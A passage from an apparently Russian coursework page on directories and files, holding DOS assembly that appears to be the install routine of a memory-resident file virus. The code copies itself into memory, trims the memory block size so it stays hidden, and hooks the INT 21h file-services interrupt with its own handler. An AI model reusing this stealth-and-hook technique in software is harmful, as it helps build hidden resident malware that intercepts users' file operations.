Курсовая работа: Работа с каталогами и подкаталогами. Работа с файлами
POP DS
m1: MOV SI, OFFSET my_head
MOV ES, AX
XOR DI, DI
MOV CX, my_end – my_head
CLD
REPE MOVSB
POP DS
MOV BX, DS
DEC BX
MOV DS, BX
SUB word ptr DS: [03h], 30h
SUB word ptr DS: [12h], 30h
XOR BX, BX
MOV DS, BX
MOV AX, DS: [21h*4+0]; 48Bh
MOV word ptr ES: [saved_int21–100h+0], AX
MOV AX, DS: [21h*4+2]; 5BDh
MOV word ptr ES: [saved_int21–100h+2], AX
CLI
MOV word ptr DS: [21h*4+0], OFFSET int21_treater – 100h
MOV word ptr DS: [21h*4+2], ES
STI
no_tsr:
POP AX
MOV DS, AX
ADD AX, 10h
POP ES
CMP word ptr CS: [00], 20CDh